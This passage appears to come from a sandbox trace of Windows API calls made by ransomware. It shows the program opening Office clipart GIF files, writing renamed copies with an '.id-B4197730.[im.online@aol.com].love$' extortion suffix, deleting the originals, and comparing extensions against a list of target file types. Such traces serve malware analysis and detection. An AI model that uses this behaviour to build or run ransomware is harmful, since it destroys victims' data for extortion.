dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.060] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.060] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.074] GetLastError () returned 0x0 [0117.074] ReadFile (in: hFile=0x37c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0117.077] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0117.079] ReadFile (in: hFile=0x37c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.079] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.079] SetEndOfFile (hFile=0x344) returned 1 [0117.079] CloseHandle (hObject=0x344) returned 1 [0117.084] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.084] SetEndOfFile (hFile=0x37c) returned 1 [0117.086] CloseHandle (hObject=0x37c) returned 1 [0117.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0117.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.087] lstrlenW (lpString=".doc") returned 4 [0117.087] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.087] lstrlenW (lpString=".docx") returned 5 [0117.087] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.087] lstrlenW (lpString=".pdf") returned 4 [0117.087] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.087] lstrlenW (lpString=".xls") returned 4 [0117.087] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.087] lstrlenW (lpString=".xlsx") returned 5 [0117.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.087] lstrlenW (lpString=".ppt") returned 4 [0117.087] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.087] lstrlenW (lpString=".zip") returned 4 [0117.087] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.087] lstrlenW (lpString=".rar") returned 4 [0117.088] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.088] lstrlenW (lpString=".bz2") returned 4 [0117.088] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.088] lstrlenW (lpString=".7z") returned 3 [0117.088] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.088] lstrlenW (lpString=".dbf") returned 4 [0117.088] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.088] lstrlenW (lpString=".1cd") returned 4 [0117.088] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.088] lstrlenW (lpString=".jpg") returned 4 [0117.088] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.088] lstrlenW (lpString=".doc") returned 4 [0117.088] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.088] lstrlenW (lpString=".docx") returned 5 [0117.088] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.088] lstrlenW (lpString=".pdf") returned 4 [0117.088] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.088] lstrlenW (lpString=".xls") returned 4 [0117.088] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.088] lstrlenW (lpString=".xlsx") returned 5 [0117.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.088] lstrlenW (lpString=".ppt") returned 4 [0117.089] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.089] lstrlenW (lpString=".zip") returned 4 [0117.089] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.089] lstrlenW (lpString=".rar") returned 4 [0117.089] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.089] lstrlenW (lpString=".bz2") returned 4 [0117.089] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.089] lstrlenW (lpString=".7z") returned 3 [0117.089] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.089] lstrlenW (lpString=".dbf") returned 4 [0117.089] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.089] lstrlenW (lpString=".1cd") returned 4 [0117.089] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0117.089] lstrlenW (lpString=".jpg") returned 4 [0117.089] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.089] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.089] lstrlenW (lpString="AG00120_.GIF") returned 12 [0117.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.090] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3484) returned 1 [0117.090] CloseHandle (hObject=0x37c) returned 1 [0117.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0117.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.090] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.090] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.091] GetLastError () returned 0x0 [0117.091] ReadFile (in: hFile=0x37c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0117.093] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xda0, lpOverlapped=0x0) returned 1 [0117.094] ReadFile (in: hFile=0x37c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.094] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.094] SetEndOfFile (hFile=0x344) returned 1 [0117.095] CloseHandle (hObject=0x344) returned 1 [0117.096] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.096] SetEndOfFile (hFile=0x37c) returned 1 [0117.097] CloseHandle (hObject=0x37c) returned 1 [0117.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0117.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.098] lstrlenW (lpString=".doc") returned 4 [0117.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.098] lstrlenW (lpString=".docx") returned 5 [0117.098] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.098] lstrlenW (lpString=".pdf") returned 4 [0117.098] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.098] lstrlenW (lpString=".xls") returned 4 [0117.098] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.098] lstrlenW (lpString=".xlsx") returned 5 [0117.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.098] lstrlenW (lpString=".ppt") returned 4 [0117.098] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.098] lstrlenW (lpString=".zip") returned 4 [0117.098] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.098] lstrlenW (lpString=".rar") returned 4 [0117.098] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.098] lstrlenW (lpString=".bz2") returned 4 [0117.098] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.098] lstrlenW (lpString=".7z") returned 3 [0117.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.099] lstrlenW (lpString=".dbf") returned 4 [0117.099] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.099] lstrlenW (lpString=".1cd") returned 4 [0117.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.099] lstrlenW (lpString=".jpg") returned 4 [0117.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.099] lstrlenW (lpString=".doc") returned 4 [0117.099] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.099] lstrlenW (lpString=".docx") returned 5 [0117.099] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.099] lstrlenW (lpString=".pdf") returned 4 [0117.099] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.099] lstrlenW (lpString=".xls") returned 4 [0117.099] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.099] lstrlenW (lpString=".xlsx") returned 5 [0117.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.099] lstrlenW (lpString=".ppt") returned 4 [0117.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.099] lstrlenW (lpString=".zip") returned 4 [0117.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.099] lstrlenW (lpString=".rar") returned 4 [0117.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.099] lstrlenW (lpString=".bz2") returned 4 [0117.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.099] lstrlenW (lpString=".7z") returned 3 [0117.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.100] lstrlenW (lpString=".dbf") returned 4 [0117.100] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.100] lstrlenW (lpString=".1cd") returned 4 [0117.100] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0117.100] lstrlenW (lpString=".jpg") returned 4 [0117.100] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.100] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.100] lstrlenW (lpString="AG00126_.GIF") returned 12 [0117.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.100] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3140) returned 1 [0117.100] CloseHandle (hObject=0x37c) returned 1 [0117.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0117.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.101] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.101] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.102] GetLastError () returned 0x0 [0117.102] ReadFile (in: hFile=0x37c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xc44, lpOverlapped=0x0) returned 1 [0117.103] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xc50, lpOverlapped=0x0) returned 1 [0117.104] ReadFile (in: hFile=0x37c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.105] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.105] SetEndOfFile (hFile=0x344) returned 1 [0117.105] CloseHandle (hObject=0x344) returned 1 [0117.108] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.108] SetEndOfFile (hFile=0x37c) returned 1 [0117.109] CloseHandle (hObject=0x37c) returned 1 [0117.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0117.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.110] lstrlenW (lpString=".doc") returned 4 [0117.110] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.110] lstrlenW (lpString=".docx") returned 5 [0117.110] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.110] lstrlenW (lpString=".pdf") returned 4 [0117.110] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.110] lstrlenW (lpString=".xls") returned 4 [0117.110] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.110] lstrlenW (lpString=".xlsx") returned 5 [0117.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.110] lstrlenW (lpString=".ppt") returned 4 [0117.110] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.110] lstrlenW (lpString=".zip") returned 4 [0117.110] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.110] lstrlenW (lpString=".rar") returned 4 [0117.111] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.111] lstrlenW (lpString=".bz2") returned 4 [0117.111] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.111] lstrlenW (lpString=".7z") returned 3 [0117.111] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.111] lstrlenW (lpString=".dbf") returned 4 [0117.111] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.111] lstrlenW (lpString=".1cd") returned 4 [0117.111] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.111] lstrlenW (lpString=".jpg") returned 4 [0117.111] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.111] lstrlenW (lpString=".doc") returned 4 [0117.111] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.111] lstrlenW (lpString=".docx") returned 5 [0117.111] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.111] lstrlenW (lpString=".pdf") returned 4 [0117.111] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.111] lstrlenW (lpString=".xls") returned 4 [0117.111] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.111] lstrlenW (lpString=".xlsx") returned 5 [0117.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.111] lstrlenW (lpString=".ppt") returned 4 [0117.111] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.111] lstrlenW (lpString=".zip") returned 4 [0117.111] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.111] lstrlenW (lpString=".rar") returned 4 [0117.111] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.111] lstrlenW (lpString=".bz2") returned 4 [0117.112] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.112] lstrlenW (lpString=".7z") returned 3 [0117.112] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.112] lstrlenW (lpString=".dbf") returned 4 [0117.112] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.112] lstrlenW (lpString=".1cd") returned 4 [0117.112] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0117.112] lstrlenW (lpString=".jpg") returned 4 [0117.112] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.112] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.112] lstrlenW (lpString="AG00129_.GIF") returned 12 [0117.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.297] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=12482) returned 1 [0117.297] CloseHandle (hObject=0x394) returned 1 [0117.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0117.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0117.663] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.663] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 